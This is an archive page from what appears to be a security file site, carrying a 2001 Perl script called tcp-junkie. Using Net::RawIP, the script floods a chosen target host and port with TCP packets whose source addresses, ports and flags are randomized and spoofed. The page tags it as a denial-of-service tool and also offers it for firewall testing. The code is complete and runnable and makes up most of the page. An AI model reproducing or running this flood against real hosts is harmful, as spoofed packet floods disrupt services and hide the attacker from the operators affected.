exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

tcp-junkie.txt

tcp-junkie.txt
Posted Aug 15, 2001
Authored by Zillion | Site safemode.org

TCP-Junkie is a random TCP packet generator written in perl. Generates random TCP packets with random source address, source port and random flags. Pretty funny and can be useful for firewall testing.

tags | denial of service, perl, tcp
SHA-256 | 6678d52cad967712c1ca8de71e30b003b57191be15501c38c480b4049ef33f4f

tcp-junkie.txt

Change Mirror Download
#!/usr/bin/perl
#
#
# Written by zillion ( at safemode.org )
#
# The script generates random TCP packets with random source address,
# source port and random flags. Pretty funny and can be useful for firewall
# testing
#

require 'getopts.pl';

use Net::RawIP;

Getopts('i:p:a:');

$a = new Net::RawIP;

if(!defined $opt_i) {

print "Usage $0 -i <target> -p <target port> -a <amount> \n";
exit;

}
print " -------------------------------------------------------------------------
---------------\n";

sub create_packet {

$ff = int rand(255);
$gg = int rand(255);
$hh = int rand(255);
$ii = int rand(255);
$src = int rand(9999);

$ip = "$ff.$gg.$hh.$ii";

$count = 0;

while($count < 6) {

@vlag =(1,2);

$flag = int rand(@vlag);

push @flags, "$flag";

$count++;
}

format flags =
| Address: @<<<<<<<<<<<<<< | Src: @<<<<| Psh: @<| Ack:@<| Rst: @<| Fin:@<| Urg:@<
| Syn:@<|
$ip $src $flags[0] $flags[1] $flags[2] $flags[3] $flags[4] $flags[5]

.

$~ = "flags";

write;

$data = "Safemode rocks " x 5;

$a->set({ ip => {saddr => $ip,
ttl => 66,
daddr => $opt_i
},
tcp=> {dest => $opt_p,
data => $data,
psh => $flags[0],
ack => $flags[1],
rst => $flags[2],
fin => $flags[3],
urg => $flags[4],
source => $src,
syn => $flags[5]}
});

$a->send(0,1);

undef @flags;
}

$teller = 0;
while($teller < $opt_a) {

&create_packet;
$teller++;
}
print " -------------------------------------------------------------------------
---------------\n";


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close